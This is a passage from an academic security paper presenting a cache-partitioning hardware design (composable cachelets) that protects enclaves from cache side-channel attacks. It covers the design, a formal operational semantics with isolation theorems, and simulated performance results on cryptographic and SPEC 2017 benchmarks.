The number of entries in VPT determines the size of the
virtual partition for each enclave in CC. By changing the num-
ber of set bits used to index into VPT, CC defines virtual
partitions ranging in size from a single cachelet, up to the
maximum capacity of VPT. The granularity of indexing is
determined by a VPT index mask register shown in Figure
5, which shifts left to widen the indexing range, as cachelets
are added from CFL in powers of two. When one partition is
present, the register indexes all VPT accesses to 00, forcing
the use of a single cachelet for all enclave addresses. When
another entry is added from CFL, the mask is left-shifted to
allow access to the first two entries. When two additional
cachelets are allocated, the mask shifts again, allowing index-
ing into all VPT entries.

To enforce strict isolation between cachelets, CC must guar-
antee that VPT contents for each enclave are disjoint, with
no single cachelet identifier entry duplicated between differ-
ent enclaves. CC accomplishes this by making CFL global
and coherent relative to the cache that it services. Similar
to the LLC itself, CFL is a unified structure shared by all
cores. Pop requests to CFL from different cores are handled
in order, so that no enclave can use a particular entry until it

USENIX Association 31st USENIX Security Symposium    2841



Figure 5: Resizing a virtual partition in CC

has been removed from CFL. This prevents different enclaves
from holding the same entry simultaneously, eliminating the
possibility of overlapping virtual partitions that experience
information leakage. The use of a global CFL gives CFL pop
operations a latency similar to an LLC cache access. However,
CFL accesses are rare, occurring only during enclave creation,
destruction, and resizing operations.

3.1.3 Optional Partition Sizing

As an optional feature, CC can support the capability to re-
size virtual partitions to accommodate enclaves with different
memory requirements. This can be securely performed in
several ways. One approach is to add a new CCREQ instruc-
tion that allows enclaves to request additional cachelets di-
rectly. CCREQ transfers control to the OS which can use a new
CCGRANT instruction to set a flag that triggers a CFL pop to the
enclave. Similar to page fault handling in SGX, this interface
allows the OS to manage cachelet allocations at a high level
to balance memory resources, without exposing the enclave’s
contents.

Newly created enclaves can invoke CCREQ to request a static
enclave assignment for the duration of its execution. CC can
also support dynamic resizing strategies, in which enclaves
request additional cachelets during memory-intensive phases
of execution, and relinquish them when they are no longer
needed. Dynamic resizing can further limit the impact of
partitioning on cache performance, and is secure as long as
the act of resizing does not depend on sensitive data. Such
dependencies are unlikely to occur in practice, and can be
identified and avoided during enclave development.

3.1.4 Securing Replacement Policies

Recent research has documented the vulnerabilities that are
caused by cache replacement policies. Specifically, if care is
not exercised, then simple partitioning schemes can be tar-
geted by attacks on cache replacement logic [11, 69]. The
CC design follows DAWG [35], which described lightweight
logic to prevent these attacks (Section III.J in [35]). The
main idea is to make replacement decisions within a partition
independent of the cache accesses to other partitions, thus
providing metadata isolation. DAWG considered several re-
placement policies, including pseudo-LRU, SRRIP [31], and
NRU. This logic is compatible with CC, and can be readily
integrated into our system with various replacement policies.

Figure 6: Example of CC operation

3.1.5 Example of CC Operation

To illustrate the flexibility of CC’s partitioning policy, Figure 6
shows the operation of CC through the creation, resizing, and
destruction of several enclaves. The cache initially contains a
single cachelet assigned to enclave e1. In the first stage of the
example (Figure 6-a), e1 is not running on the core, and its
VPT state is stored as part of its enclave metadata. When a new
enclave e2 is created, the VPT is initialized with the cachelet
identifier entry at the head of the CFL. This defines a new
4-set cachelet for e2 in way 1. In Figure 6-b, CC expands the
virtual partition belonging to e2 by popping three additional
entries from the CFL. In Figure 6-c, e1 finishes executing,
and CC reclaims its VPT entries. In addition to popping the
entries used by e1 from the VPT and returning them to the
CFL, CC gang-invalidates the lines in the cachelet. In Figure
6-d, enclave e3 is scheduled, and is subsequently scaled to the
maximum virtual partition size. The free list assigns e3 the
remaining entries, including the first entry recovered from e1.

3.2 Replacement Deflection for Non-Enclave
Accesses

To prevent accesses from non-enclave processes from col-
liding with cachelet lines held by any enclave, CC extends
the cache replacement logic with a small table indicating
whether each cachelet position in the cache is occupied. Us-
ing the high order set number bits as an index, incoming
addresses from non-enclave programs are checked against
this table to determine which ways in the accessed set contain
enclaves. On a cache miss, CC augments the cache replace-
ment hardware with additional masking logic that uses the
enclave-assignment vector for the accessed set to prevent the
replacement of enclave ways during evictions.

A commonly used pseudo-least-recently-used (PLRU) pol-
icy illustrates the subtleties of the process of replacement
deflection. In PLRU replacement, selection bits define a bi-
nary tree whose leaf nodes correspond to cache ways. On
a cache miss, PLRU selects the eviction target by descend-
ing the tree along the path indicated by selection bits at the
tree’s inner nodes. In Figure 7, a "zero" indicates that the
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Figure 7: Modified PLRU Replacement Logic

left sub-tree should be descended, while "one" indicates the
right sub-tree. After a line is replaced, the nodes along the
path to the selected way are then inverted to point away from
the last accessed path, approximating a least-recently-used
replacement algorithm.

In addition to preventing evictions in cachelet ways at the
final branches of the tree, the CC replacement logic must
ensure that the selection path never follows any branch that
does not have non-enclave ways as children. In Figure 7 for
example, the path of replacement must not follow the left edge
from the root node, since the sub-tree in this direction leads
only to enclave ways that should not be victimized. CC must
include logic to divert access down the right edge from the
root node, where it will find ways that can be replaced.

The algorithm in Figure 8-a enforces this policy at each
level of the PLRU replacement tree traversal. For each node
along the traversal path with the selection bit b, the policy
selects a new selection bit, b′, based on the conditions l and r,
which are true, respectively, iff cachelets occupy all the ways
in the node’s left or right subtree. If both sub-trees contain
non-cachelet ways, then the existing replacement bit b is used;
otherwise, b′ is selected to divert the replacement policy away
from subtrees whose ways are entirely occupied by cachelets.
Note that the final case in the algorithm is an invalid state that
is unreachable from the root of the selection tree if at least
one way in the set is available for non-enclaved accesses.

From this algorithm, the PLRU masking hardware can be
easily derived. Figure 8-b shows the truth table corresponding
to the selection algorithm, which can be realized in the gate
structure in Figure 8-c. For a given node, the viability of the
left subtree, l is determined by taking the logical AND of all
the cachelet allocation bits that the subtree leads to.

Figure 8: Path Selection Algorithm for Modified PLRU

Figure 9 shows the gate level implementation of the re-
placement deflection hardware for 8-way PLRU replacement
logic. This hardware can be easily scaled to support different
cache associativities. Section 5.2 describes how this hardware
can be parallelized with existing cache access logic to avoid

Figure 9: Replacement logic with CC deflection hardware

imposing additional delays.

3.3 Secure Cachelet Eviction

Cachelets in CC are finite resources, which can be exhausted
if a large number of enclaves run simultaneously. To prevent
cachelet starvation, CC provides logic to safely evict and re-
assign cachelets allocated to context-switched enclaves. This
mechanism, closely modeled on existing page eviction logic
in Intel SGX, allows an untrusted OS to instigate evictions
through a restricted ISA interface, and performs hardware
check to enforce inter-enclave isolation.

To support cachelet evictions, CC hardware maintains a
table that maps each currently allocated cachelet to the unique
ID of the enclave that currently holds it. To forcibly deallocate
a cachelet in response to an empty CFL exception, CC intro-
duces a new instruction called CSD (Cachelet Shoot-down).
CSD takes a cachelet ID as its argument, looks up the associ-
ated enclave ID from the mapping table, and uses the enclave
ID to access the enclave’s metadata. CC extends the metadata
with a valid bit for each VPT entry, and the bit associated
with the provided cachelet ID is invalidated. CC then adds
the invalidated cachelet to the CFL. Each time an enclave
is scheduled, CC hardware checks the for invalidated VPT
entries. If any are found, CC flushes any invalidated VPT
entries and replaces them with fresh entries from the CFL
before the enclave resumes execution, preventing the enclave
from accessing reassigned cachelets. Additionally, CC gang
invalidates the contents of any valid cachelets retained by the
enclave.

By immediately replacing reassigned CFL entries and inval-
idating the contents of the entire virtual partition, CC prevents
controlled-channel style attacks from exploiting cachelet evic-
tion. In a classical controlled-channel attack, a malicious op-
erating system deliberately invalidates pages belonging to an
enclave, and uses the resulting page faults to detect which
pages are accessed. If access to a page depends on the value
of sensitive data, the attacker can use the sequence of page
faults to extract that data. Such attacks are a consideration for
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CC because because cachelet evictions, like page evictions,
are controlled by the untrusted OS. However, by forcing in-
validated cachelets to be replaced from the CFL when an
enclave is re-scheduled (rather than deferring replacement
to the first time the invalid cachelet is accessed), CC makes
cachelet re-assignment independent of the enclave’s memory
accesses, thus preventing data leakage. Additionally, by clear-
ing the contents of the entire virtual partition, rather than only
the invalidated cachelets, CC also prevents an attacker from
localizing accesses to a recently evicted cachelet on the basis
of timing delays.

Though this invalidation strategy is aggressive, three con-
siderations mitigate the impact on enclave performance. First,
a performance-aware, benign operating system can prioritize
for eviction of small or single-cachelet enclaves, which will
quickly re-populate their virtual partitions when rescheduled.
Second, enclaves are likely to be used in multi-tenanted clus-
ters, in which a load balancer could strategically distribute
enclave workloads to limit the occurrence of evictions. Fi-
nally, additional logic could be introduced to detect controlled-
channel style attacks on CC and relax the cachelet replace-
ment rules when no threat exists. This could be accomplished
by adding a simple hardware counter to detect the anoma-
lous rates of cachelet evictions needed to mount a controlled-
channel attack. A CC system with this optimization would
enable the strict invalidation policy described above only if
the counter exceeded the threshold for an effective controlled
channel attack, and would otherwise operate in a mode that
retained the contents of valid cachelets and defer cachelet
reassignment until the invalidated cachelet is accessed.

The cachelet eviction mechanism assumes that the victim
enclave is context-switched when an eviction occurs. Oth-
erwise, a running victim enclave may access lines in a re-
assigned cachelet before the cachelet has been invalidated.
Because the operating system is not trusted, CC must guar-
antee that the targeted enclave is context switched before the
CSD instruction updates CFL. To enforce this requirement,
CC provides a new CTRACK instruction, which must be issued
before the CFL update takes effect. CTRACK causes the hard-
ware to track all processors running the enclave that owns the
specified cachelet, and prevents CSD from completing until the
OS has issued interrupts to evict all of that enclave’s threads.
This mechanism is modeled on the ETRACK that SGX uses to
safeguard enclave page evictions.

3.4 Compatibility of CC with Cache Slicing

Some modern architectures divide the cache into two or more
slices that can be accessed in parallel, and use a hash func-
tion to map memory accesses to alternating slices. Using the
hardware described in Sections 3.1 or 3.2, CC can enforce a
shared cachelet layout across each cache slice, and apply ad-
dress remapping after the slice has been selected. Because the
cachelet layout is replicated across each slice, each enclave

Top-Level Structures
Σ ::= 〈κ;µ;ρ;π〉 runtime state
κ ::= 〈F ;V ;C;R〉 composable cache
µ ::= b 7→ D memory
ρ ::= r 7→ v registers
π ::= p 7→ 〈ε; l〉 processes

CC-Related Structures
F ::= c cachelet free list
V ::= e 7→ L VPT
C ::= c 7→ 〈vb; t;D〉 way-set cache
L ::= s→ c remapping list
D ::= o 7→ n data block
c ::= 〈w;s〉 cachelet index
vb ::= {valid;dirty} validity bit
b ∈ BLOCK block index
o ∈OFFSET offset
w ∈WAY way index
s ∈ SET set index
t ∈ TAG cache tag value

PLRU-Related Structures
R ::= s 7→ T set-indexed PLRU
T ::= 〈ς;e;T ;T 〉|A PLRU tree
A ::= 〈w;e〉 PLRU leaf
ς ::= LMRU | RMRU selection bit

Memory/Register-Related Structures
l ∈ ADDR memory address
v ::= ι | n memory value
ι ∈ INST instruction
n ::= /0 | num data
num ∈ UINT number
r ∈ REG register name

Enclave-Related Structures
ε ::= 〈e;E〉 enclave state
E ::= e 7→ 〈l;n〉 enclave memory range
e ::= e | ⊥ enclave ID
e ∈ ENCLAVE raw enclave ID

Figure 10: Runtime Definitions

receives the same number of cache lines as under a simple
addressing scheme; the lines are simply distributed across
multiple slices to exploit parallel access.

4 A Formal Security Analysis
CC provides strong security guarantees for enclave programs,
which we rigorously establish in this section. The key results
are cache-aware enclave access isolation (Theorem 4.2) and
immunity from side-channel attacks (Theorem 4.3).

4.1 Structures and Definitions
The runtime state consists of the states of the composable
cache (κ), the memory (µ), the register file (ρ), and multiple
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name function & argument return value description

CC allocation ⇑n
e κ κ′ allocates n CCs to enclave e in κ, resulting in κ′

CC deallocation ⇓e κ κ′ deallocates CCs for enclave e in κ, resulting in κ′

CC hit read κ ↑ε
c l 〈n;κ′〉 reads data n from location l through CC c held by enclave

ε, resulting in κ′

CC hit write κ ↓ε
c (l,v) κ′ updates CC c held by enclave ε in κ when location l is

updated to v, resulting in κ′

CC miss read (κ,µ) ↑ε
c l 〈n;κ′〉 reads data n from l in memory µ, while updating CC c

held by enclave ε in κ, resulting in κ′

CC miss write (κ,µ) ↓ε
c (l,v) (κ′,µ′) updates cachelet c held by enclave ε in κ when location l

in memory µ is updated to v, resulting in κ′ and µ′

CC resize �e κ κ′ resizes (doubles) the cachelets in e, resulting in κ′

memory read µ{l} n read from location l of memory µ, resulting in n
memory write µ{l 7→ v} µ′ writes v to location l of memory µ, resulting in µ′

memory reinitialization Oeεµ µ′ memory in µ for enclave e in executions ε is reinitialized,
resulting in µ′

enclave creation εµ{e 7→ 〈l;n〉} ε′ adds an enclave e with memory range 〈l;n〉 to enclaves ε

when memory is µ, resulting in enclaves ε′

active enclave update εJ e ε′ updates the active enclave in ε to e, resulting in enclaves
ε′

enclave removal ε− e ε′ removes enclave e from ε, resulting in enclaves ε′

Figure 11: Auxiliary Functions (see definitions in the appendix)

execution sequences (π). The structure of the runtime state Σ

is formally defined in Fig. 10.
Throughout this section, notation X represents a sequence

of X1, . . . ,Xm for some m≥ 0. Sequence in the form of X 7→ Y
is also called a mapping when X are distinct. For any mapping,
we use notations M[X 7→ Y ], M\X , dom(M), ran(M) to refer
to the update, restriction, domain, and range of mapping M,
with standard definitions.

Cache Replacement Logic Our formal system is capable
of modeling the behavior of PLRU. The PLRU replacement
logic is indexed by set IDs, where the replacement of ways for
each set is maintained by a PLRU tree, denoted as T , as we
described in § 3.2. For each node in a PLRU tree, selection bit
ς = LMRU (1 in § 3.2) means the left side of the binary tree is
accessed more recently; ς = RMRU (0 in § 3.2) means the right
side is accessed more recently. Occupancy e is the enclave ID
if the entire subtree is occupied by enclave e.

Function replace(T,e) computes the way to be evicted for
enclave e given the current state of the PLRU tree T , defined
as follows:

replace(〈LMRU;e;T1;T2〉,e) = replace(T2,e)
replace(〈RMRU;e;T1;T2〉,e) = replace(T1,e)

replace(〈w;e〉,e) = w
replace(〈ς;e;T1;T2〉,e′) = replace(T1,e′)

if e′ 6= e,e′ @ T1
replace(〈ς;e;T1;T2〉,e′) = replace(T2,e′)

if e′ 6= e,e′ @ T2

where auxiliary function e@ T is a predicate that holds when

enclave e occupies some ways defined in PLRU (sub-)tree T .
It is is defined as:

e′ @ 〈ς;e;T1;T2〉 = (e = e′)∨ (e′ @ T1)∨ (e′ @ T2)
e′ @ 〈w;e〉 = (e = e′)

The replace definition here subsumes non-enclave cache
replacement, when e =⊥. The definition includes the follow-
ing cases: (1) If a PLRU node indicates its entire subtree is
occupied by e and the left subtree is more recently accessed,
the eviction way is in the right subree; (2) If a PLRU node
indicates the entire subtree is occupied by e and the right sub-
tree is more recently accessed, the eviction way is in the left
subree; (3) If the leaf node is currently occupied by enclave e,
the way it represents is to be evicted; (4, 5) If a PLRU node
indicates its subtree is not entirely occupied by e, the eviction
way resides in the subtree that contains nodes/subtrees that
enclave e occupies.

The other operation for the PLRU tree is its update. Func-
tion update(T,w,e) computes the updated tree T ′ given the
current state of the PLRU tree is T , and its way w is going
to be accessed/allocated by/to enclave e. We defer its formal
definition to the appendix.

Cachelets In addition to the cache replacement logic, a
composable cache consists of a free list (F), a virtual parti-
tion table (V ) and the way-set cache (C). Each cache block
contains the validity bit vb, the tag t, and the data block itself
D. The cache block is indexed by a pair 〈w;s〉, where w is the
way index and s is the set index. Given a memory block index
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Multi-Process Reduction

[MULTI] κ,µ,ρ,π[p 7→ 〈ε; l〉] {〈p;ω〉}
====⇒ κ′,µ′,ρ′,π[p 7→ 〈ε′; l +n〉]

if κ,µ,ρ,ε,µ(l) ω−→
n

κ′,µ′,ρ′,ε′

Single-Process Reduction

[LOADHIT] κ,µ,ρ,ε,LOAD l r
H(v,c)−−−→

1
κ′,µ,ρ[r 7→ v],ε

if 〈v;κ′〉= κ ↑ε
c l

[LOADMISS] κ,µ,ρ,ε,LOAD l r
M(v,c)−−−→

1
κ′,µ,ρ[r 7→ v],ε

if 〈v;κ′〉= (κ,µ) ↑ε
c l

[STOREHIT] κ,µ,ρ,ε,STORE r l
H(ρ(r),c)−−−−−→

1
κ ↓ε

c (l,ρ(r)),µ,ρ,ε

[STOREMISS] κ,µ,ρ,ε,STORE r l
M(ρ(r),c)−−−−−→

1
κ′,µ′,ρ,ε

if κ′,µ′ = (κ,µ) ↓ε
c (l,ρ(r))

[RESIZE] κ,µ,ρ,ε,CCREQ R−→
1

�e κ,µ,ρ,ε

if ε = 〈e;E〉
[CREATE] κ,µ,ρ,ε,CREATE r1 r2 r3 r4

>−→
1

⇑ρ(r2)
ρ(r1)

κ,µ,ρ,ε′

if ε′ = εµ{ρ(r1) 7→ 〈ρ(r3);ρ(r4)〉}
[ENTER] κ,µ,ρ,ε,ENTER r >−→

1
κ,µ,ρ,εJ ρ(r)

[EXIT] κ,µ,ρ,ε,EXIT >−→
1

κ,µ,ρ,εJ⊥

[DESTROY] κ,µ,ρ,ε,DESTROY r >−→
1

⇓ε κ,Oρ(r)
ε µ,ρ,ε−ρ(r)

[BRTRUE] κ,µ,ρ,ε,BR r r′ >−−→
ρ(r′)

κ,µ,ρ,ε

if ρ(r) 6= 0

[BRFALSE] κ,µ,ρ,ε,BR r r′ >−→
1

κ,µ,ρ,ε

if ρ(r) = 0

Figure 12: A Core Operational Semantics

b, there is a bijective function β : BLOCK
 SET×TAG
to compute its set index s and tag t in the cache.

The top part of Fig. 11 provides the list of auxiliary func-
tions used for defining the behavior of composable cachelets.
As expected, many functions will be defined through the
replace and update functions of the PLRU logic. To improve
readability, we choose to defer the definitions of these func-
tions to the appendix.

Memory and Registers Memory is block-based, and it is
represented as a mapping from block indices b to data blocks
D. Each data block in turn is a mapping from offsets o to
values (v). Given a memory address l, there is a bijective
function α : ADDR
 BLOCK×OFFSET to compute its
block index b and offset o in the block. Auxiliary functions
related to the lifecycle of memory use are described in Fig. 11.
In addition, we overload operator Σ[l 7→ n] for memory update
in the runtime state, defined as 〈κ;µ{l 7→ n};ρ;π〉 where Σ =
〈κ;µ;ρ;π〉. Both instructions (ι) and memory data (n) are
represented as memory objects in our formal model, denoted
as v.

The register file is a mapping from names (r) to values (v).

Enclaves and Processes We represent executions π as a
mapping from execution (process) IDs to its enclave state
(ε) and its program counter (l). Each enclave state ε is a pair
〈e;E〉, where e indicates the active enclave, i.e., the enclave
in effect for the current execution; E is a mapping for enclave
IDs to their range of enclave-private memory locations. The

latter in turn is indicated by a pair, the beginning memory
location and the length. When no enclave is active, we set
e as ⊥. We further use metavariable ε for this special form
of enclave states. Functions related to the lifecycle of the
enclaves — creation, update, removal — are listed in the
Table in Fig. 11.

4.2 Operational Semantics

We model the behavior of programs with enclave lifecycle in-
structions (CREATE, ENTER, EXIT, DESTROY), memory/cache
access instructions (LOAD and STORE), the branching instruc-
tion (BR), and the resizing instruction (CCREQ). The semantics
of CCGRANT is captured through CREATE.

We define small-step operational semantics in Figure 12, in-
cluding the multi-execution relation⇒ and single-execution
relation →. Σ

Ω
=⇒ Σ′ says that runtime state Σ reduces to

Σ′ with observations Ω. We use Σ
Ω
=⇒
∗

Σ′ to represent the

reflexive and transitive closure of Ω
=⇒ where Ω is union-

ized. σ, ι
ω−→ σ′ says single-execution state σ reduces to σ′

with instruction ι producing single-execution observation ω.
Single-execution states σ is defined as 〈κ;µ;ρ;ε〉, with single-
execution observation ω including cache hit (H), cache miss
(M), cache resize (R), or none (>). A multi-execution obser-
vation Ω is a pair which consists of both the execution ID and
the single-execution observation. To bridge the two, we de-
fine restriction operator Ω|p as identical to Ω except that any
element 〈p′;ω〉 where p′ 6= p is removed. Program counters
are memory addresses, and we use • to represent the program
counter when the program halts.

As the reduction rules show, our semantics faithfully ac-
count for the behavior of the cache and the enclave, the fo-
cus of this work. [LOADHIT] and [LOADMISS] capture the
memory/cache load behavior in the presence of a cache hit
and a cache miss, respectively. Observe that the two rules
have different observations, H and M respectively. In other
words, our semantics expose the cache hit/miss as observable
states to the attacker, and we show later that even with this
assumption, CC is immune to side channel attacks. Similarly,
memory/cache store behavior is captured by [STOREHIT]
and [STOREMISS], which again produces different obser-
vations. Cachelet resizing is captured by [RESIZE]; in our
model, we assume the attacker may observe the cache resiz-
ing event too. The lifecycle of enclaves are modeled by the
next 4 rules, with [CREATE] for creating an enclave-protected
memory, [DESTROY] for enclave destruction, [ENTER] for
entering an enclaved execution, and [EXIT] for exiting an
enclaved execution. The four parameters of the CREATE in-
struction are the registers that keep the enclave ID, the number
of cachelets requested by the enclave, the starting location of
the enclave-protected memory, and the size of the enclave-
protected memory area. CCs are allocated upon the CREATE
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instruction, and deallocated upon the DESTROY instruction.
Our execution model for enclaved executions is general, as
it captures the dynamic nature of the enclave lifecyle. Fi-
nally, [BRTRUE] and [BRFALSE] captures the behavior of
the common control flow construct, branching.

4.3 Metatheory
We now establish two important properties of our design,
whose proofs can be found in the Appendix.

We start with an account of the PLRU replacement logic.
First, let us define a tree context T as either a hole [] or
〈ς;e; [];T 〉 or 〈ς;e;T ; []〉.

Lemma 4.1 (PLRU Tree Update Isolation). If T ′ =
update(T,w,e), then for any tree context T such that T =
T[T0] and T0 = 〈ς;e;T1;T2〉 for some ς, T1, T2 and e 6= e then
there exists some tree context T such that T ′ = T′[T0].

The lemma above is simple, but it lays the foundation on
why our system can thwart side channel attacks that rely on
the PLRU tree logic. In other words, a non-enclave access
(e =⊥), or an access from another enclave (e is some enclave
ID but not e, cannot alter the PLRU tree state associated with
enclave e. As the update definition is used by several cachelet
operations, it ultimately ensures cachelet operations cannot
lead to side channels through the PLRU logic.

Theorem 4.2 (Cache Isolation across Multiple Enclave Pro-
grams). Given two executions p1 6= p2 in Σ and Σ

Ω
=⇒ Σ′,

if Ω = {〈p1;ω〉}, then ω 6= M(n,c) and ω 6= H(n,c) and
ω 6= S(n,c) for any c ∈ ran(V (e2)) where Σ = 〈κ;µ;ρ;π〉 and
κ = 〈F ;V ;C;R〉 and π(pi) = 〈〈ei;Ei〉; li〉 for i = 1, 2.

This theorem says that two programs with active enclaves
cannot access the same cachelet. This theorem states how
the software behaves under CC hardware, i.e., each enclave
occupies a unique, non-overlapping virtual cache partition.

Definition 1 (Enclave-Private Location). epriv(l,e, p,Σ) hold
iff Σ = 〈κ;µ;ρ;π〉 and π(p) = 〈ε; l′〉 and ε = 〈e0;E〉 and
E(e) = 〈l0;n0〉 and l0 ≤ l < l0 +n0.

Theorem 4.3 (Immunity to Side Channel Attacks). Given Σ

and some l, e, p s.t. epriv(l,e, p,Σ), some n1 6= n2, p′ 6= p, two

reductions Σ[l 7→ ni]
Ωi=⇒
∗

κi,µi,ρi,πi where πi(p′) = 〈εi;•〉
for i = 1, 2, if R /∈Ω1∪Ω2, then ε1 = ε2, Ω1|p′ = Ω2|p′ .

This important theorem says that the enclave-private value
of a victim p (stored at location l) cannot be inferred by the
attacker p′: the attacker makes identical observations regard-
less of what value the location holds. This is a strong result,
because we do not make any assumption on what the attacker
program is, subsuming both a passive attacker or an active
attacker. Furthermore, it assumes the attacker can take advan-
tage of the (timing) difference of a load miss and a load hit,

can introspect all its program values, and even know what
way-sets in the cache the attacker program has accessed.

The resize-free pre-condition (R /∈ Ω1 ∪Ω2) in the The-
orem is needed because enclave-private data may guard a
branching instruction (BR). If a CCREQ instruction is issued in
one branch but not the other, the impact of CCREQ on cachelet
allocation may influence the behavior of the attacker program
differently (see Section 3.1.3 for details) and thus leak one
bit of information. As cachelet resizing is a low-level system
operation, the common use scenario for CCREQ is to have this
instruction automatically inserted by the compiler, or automat-
ically issued by the runtime. The pre-condition can be easily
satisfied by not inserting/issuing CCREQ when the execution is
within a branch, or inserting/issuing CCREQ in both branches.

The pre-condition only becomes a cause of concern if pro-
grammable cachelet resizing is supported, i.e., CCREQ is ex-
posed to end programmers without any restriction, so that
it becomes a programming construct itself. In this context,
the precondition here demonstrates a trade-off between secu-
rity and performance. For the same program, a performance-
biased execution may follow the semantics we described in
this paper (but may leak a bit), whereas a security-bias exe-
cution may treat CCREQ as a no-op (and thus no leak). Fur-
thermore, the program pattern described above is identical
to implicit information flow [45, 50], a well-studied topic in
program analysis. Thus, a strengthened defense opportunity
exists with software-hardware co-design. For instance, a com-
piler could reject a program where the pre-condition fails
to satisfy, or an automatic compiler instrumentation can be
defined to insert CCREQ in one branch when it appears in the
other branch of a BR instruction.

5 Evaluation of CC
In this section, we present evaluation of CC from the stand-
point of performance, power, area, delay and the design com-
plexity.

5.1 Performance Evaluation
First, we describe our benchmarks and methodology, and then
present the simulation results.

5.1.1 Benchmarks and Methodology

For performance evaluation of CC, we used gem5 [6] full
system simulator configured with three levels of caches and
targeting x86 ISA. The complete configuration of the simu-
lated system is shown in Table 1. Our experimental analysis
is based on three sets of benchmarks. Since the most expected
application of CC is to secure small secrets maintained in-
side an enclave, we first evaluated cryptographic programs,
including three traditional applications (AES, Blowfish and
SHA) taken from MiBench suite [28] and five Post-Quantum
Cryptography (PQC) applications, namely BIG-QUAKE [4],
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CRYSTAL-KYBER [8], CFPKM [15], Compact LWE [38],
and DAGS [3]. Second, to gauge the impact of isolating
larger applications, we evaluated programs from SPEC 2017
suite [13]. Third, to evaluate the impact on securing paral-
lel applications, we also evaluated CC with PARSEC bench-
marks [5]. We also used selected memory-intensive SPEC
2017 benchmarks to demonstrate the impact of CC on perfor-
mance of non-enclave applications. Depending on the exper-
iment, either the entire program is assumed to be executing
inside an enclave, or it is assumed to be executed in a regular
mode outside an enclave. We present the performance impact
of CC in terms of IPC metric (committed Instructions per
Cycle) normalized to the baseline configuration with non-
partitioned caches.

For SPEC 2017 benchmarks, we fast-forwarded simula-
tions for 1 Billion instructions and simulated for the next 1
Billion instructions. Due to the short setup phase of cryptog-
raphy programs, we simulated 1 Billion instructions for each
of them from the beginning. For PARSEC, we used 2-core
system and bypassed the booting process. We then simulated
until completion.

Hardware Parameters

Core # 1-core (Crypto Programs and SPEC2017) and 2-cores
(PARSEC)

Core Parameters

8-way out-of-order cores, 64k TAGE branch predictor,
4096 BTB entries, 16 RAS entries, 192-entry ROB, 128-
entry LSQ, 64-entry Instruction Queue, 256-entry float
and integer registers

L1i/d Cache
private, 32KB size, 8 ways, 64 sets, PLRU replacement,
64B cache line size, tag/response/data latency 2 cycles
each

L2 Cache
private, 256KB size, 4 ways, 1024 sets, PLRU replacement,
64B cache line size, tag/response/data latency 8 cycles
each

L3 Cache
shared, 8192KB size, 16 ways, 8192 sets, PLRU replace-
ment, 64B cache line size, MESI coherence protocol,
tag/response/data latency 16 cycles each

DRAM 4GB size, 4GB channel capacity, DDR4-2400 x64 channel,
4 devices per rank, 1 rank per channel, 1GB per device,

CC 3-cycle additional L3 latency, 16-entry VPT, 32KB
cachelet size

Software Parameters and Benchmarks
gem5 Version 2.0

Kernel gem5 system emulation (Crypto Programs and SPEC2017)
and VM Linux 4.19.83 (PARSEC)

SPEC 2017 Version 1.0.2 (evaluated 14 benchmarks)

PARSEC Version 3.0-beta-20150206 (evaluated 6 benchmarks with
simdev inputs, ran to completion)

Security benchmarks
3 security benchmarks from MiBench (AES, Blowfish and
SHA), plus 5 PQC applications with optimized implemen-
tations

Table 1: Configuration of the Simulated System

5.1.2 Performance of Cryptographic Programs

Figure 13 shows the IPC values for crypto benchmarks, nor-
malized to the baseline IPC. In addition to the baseline system,
we evaluated 3 configurations of CC: 1-way virtual partition
with 8 cachelets (for the total partition size of 256KB), 2-way
virtual partition with 4 cachelets per way, and 2-way virtual

partition with 8 cachelets per way. Note that since in this work
we apply partitioning only to shared LLC, the total size of
a virtual partition must be at least the size of the L2 cache.
Since the memory demands of crypto applications are modest,
the locality exploitation and thus high performance can be
achieved with minimal partition sizes in most cases, as shown
in Figure 13. One outlier in this set of benchmarks was BIG-
QUAKE (one of the PQC benchmarks) that exhibited 8.4%
performance loss for 8 cachlets with 1 way and around 10%
performance loss for 4 cachelets with 2 ways. When partition
size was increased to 512KB from 256KB, the performance
impact was reduced to 3.7%.
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Figure 13: Performance of Cryptographic Programs

5.1.3 Performance on SPEC 2017 Benchmarks

While we envision that a primary application of CC would
be to protect small enclaves from cache-based information
leakage, we also evaluated performance impact of protecting
larger applications, such as SPEC 2017 programs. Figure 14
shows these results as commit IPCs normalized to the baseline
case. The CC configurations in this case included 1-way, 2-
way, 4-way and 8-way virtual partitions. For each of these, we
considered various number of cachelets per way, as indicated
in the graph legend. The total partition size varies between
512KB and 4MB, it is computed as the product of the number
of ways, the number of cachelets per way, and the cachelet
size (32KB).

As seen from the results, CC shows a small performance
degradation for multiple benchmarks even with modest virtual
partition sizes. For example, benchmarks such as cactusBSSN,
deepsjeng, exchange2, leela, xalancbmk and xz do not exhibit
any slowdown regardless of the partition size. Specifically,
all these programs have performance degradation lower than
5% for all configurations (0.8%, 0.4%, 0.2%, 3.5%, 1.6%,
and 1.5% was the largest loss recorded, respectively). Not
surprisingly, these applications also feature high L1 and L2
cache hit rates, demonstrating high locality of references and
making them less sensitive to LLC. In these experiments, we
assumed three additional cycles of delay to the LLC due to the
logic required to implement CC. This is a very conservative
estimate, which is justified in Section 5.2.
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Figure 14: Performance Impact of CC on SPEC 2017 Benchmarks

Two benchmarks in our set - gcc and imagick - resulted in
moderate performance losses of 5.4% and 5.8% respectively
with 16 cachelets (512KB) allocated to them. Allocating a
quarter of the LLC for a virtual partition brings performance
losses for these programs to under 1% - this can be achieved
either with 4-way partitions with 16 cachelets per way, or with
8-way partitions with 8 cachelets per way.

Some SPEC benchmarks showed more substantial perfor-
mance impact from CC. For example, the IPC loss for blender,
mcf, omnetpp and parest is 11.7%, 23.5%, 11.4% and 11.5%
respectively for the smallest allocations we considered. As we
increase the partition associativity and the number of cachelets
per way, performance gradually improves. For example for
mcf, performance degradation goes down to 11.6% when 4
ways of the LLC with 16 cachelets per way are allocated.
Similar results are observed when 8 cachelets with 8 ways are
used. If the same configurations are used for omnetpp, per-
formance loss is reduced to below 1%, but it remains at 7%
for blender and 4.7% for parest. On the average across SPEC
benchmarks, the performance degradation for the smallest
allocated partition (512 KB) is 5.9%. It is reduced to 1.45%
for the quarter of the LLC (2MB) and to 0.6% for the largest
allocated partition (4MB).

These results demonstrate that even if one wishes to sup-
port the entire execution of a larger program (such as a SPEC
benchmark) inside an enclave with isolated cache partition,
performance losses are quite modest for the majority of pro-
grams. Furthermore, since benchmarks show different levels
of sensitivity to the allocated LLC space, it is important to
investigate techniques to dynamically provision LLC space to
application in a secure manner - future work can investigate
such mechanisms.

5.1.4 Performance of PARSEC Benchmarks

Parallel shared memory applications (exemplified by PAR-
